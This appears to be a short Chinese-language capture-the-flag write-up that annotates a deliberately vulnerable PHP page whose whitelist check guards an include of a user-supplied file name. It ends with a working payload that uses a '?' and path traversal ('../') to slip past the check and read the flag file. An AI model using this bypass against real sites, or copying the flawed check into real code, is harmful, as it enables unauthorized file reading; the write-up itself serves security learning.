查看源码
进入
分析一下代码
if (! empty($_REQUEST['file'])//如果非空
&& is_string($_REQUEST['file'])//如果是字符串
&& emmm::checkFile($_REQUEST['file'])
) //如果检查通过
{
include $_REQUEST['file'];//包含file
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";//否则输出图片
}
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回'?'在前面的字符串中第一次出现的位置
);//返回page中下标从0到mb_strpos
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
我们进入hint.php试试
找到了flag的位置
利用include函数的特性
以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
构造payload
?file=hint.php?/../../../../ffffllllaaaagggg